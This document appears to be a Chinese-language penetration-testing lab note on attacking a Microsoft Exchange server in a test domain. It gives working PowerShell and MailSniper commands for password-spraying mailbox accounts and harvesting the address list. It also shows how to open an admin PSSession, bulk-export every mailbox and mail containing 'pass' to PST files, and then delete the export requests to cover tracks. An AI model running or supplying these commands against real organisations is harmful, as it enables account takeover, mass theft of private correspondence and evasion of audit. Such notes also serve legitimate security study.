未得到exchange服务器权限
确定exchange服务器ip地址
setspn -T example.domain.com -F -Q */* | findstr exchange
MailSniper
爆破用户名和密码
爆破Exchange邮箱用户名密码,为了防止账号被锁定,所以我们使用密码喷洒攻击,即只使用一个密码来碰撞用户名
Invoke-PasswordSprayEWS -ExchHostname WIN-R6M7IQRLCGA.hdh.com -UserList user.txt -Password xxxxxx -Threads 10
成功爆破出密码,但是我结果写入文件失败了,这些报错不知道怎么回事,不过可以正常爆破密码
而且用户名格式不一样也能爆破出来,就是结果导出有问题
获取邮箱通讯录
在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定
Get-GlobalAddressList -ExchHostname WIN-R6M7IQRLCGA.hdh.com -UserName hdh\wahaha -Password xxxxxx -OutFile address-list.txt
这样用户就枚举出来了
得到exchange服务器权限后
使用PSSession连接Exchange服务器
$User = "hdh\administrator"
$Pass = ConvertTo-SecureString -AsPlainText xxxxxxx -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-R6M7IQRLCGA.hdh.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
查看PSSession
Get-PSSession
删除PSSession
Remove-PSSession $Session
测试命令(获得所有邮箱用户):
#获得所有用户
Get-Mailbox
以下是在exchange服务器上进行操作的没有使用远程PSSession去执行,实战中需要PSSession去执行
导出数据及其清除
页面导出
exchange shell导出
1.将用户添加到角色组”Mailbox Import Export”
2.重新启动exchange shell
否则不能使用New-MailboxexportRequest
3.导出邮件并保存
(1)导出指定用户的所有邮件,保存到Exchange服务器的c:\test
$User = "administrator"
New-MailboxexportRequest -mailbox $User -FilePath ("\\localhost\c$\test\"+$User+".pst")
(2)筛选出指定用户的wahaha中包含单词pass的邮件,保存到Exchange服务器的c:\test
$User = "wahaha"
New-MailboxexportRequest -mailbox $User -ContentFilter {(body -like "*pass*")} -FilePath ("\\localhost\c$\test\"+$User+".pst")
(3)导出所有邮件,保存到Exchange服务器的c:\test
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -mailbox $_.name -FilePath ("\\localhost\c$\test\"+($_.name)+".pst")}
可以看到wahaha时间不是最新,因为wahaha不在Users组中,在安全组中
查看邮件导出请求
#粗略查看
Get-MailboxExportRequest
#精准查看
Get-MailboxExportRequest|fl
删除具体的某个导出请求:(以上图第一个wahaha为例)
注意:这两个命令依次输入才可以成功删除,截图未全
Remove-MailboxExportRequest -RequestQueue "Mailbox Database 1864638920" -RequestGuid 7c9ca813-22b5-43e7-84f5-0fe69682bea3 -Confirm:$false
Remove-MailboxExportRequest -Identity 'hdh.com/Microsoft Exchange Security Groups/wahaha\MailboxExport' -Confirm:$false
可以看到wahaha的Mailbox Database 1864638920删除请求已经删掉
删除所有导出请求
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
可以看到全部删除成功
查看指定人指定日期内邮件
#查看发件人administrator@hdh.com从2019年1月1日9:00至今发送的所有邮件的相关信息(包括发件人,收件人和邮件主题):
Get-MessageTrackingLog -Start "01/11/2019 09:00:00" -Sender "administrator@hdh.com"
参考:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6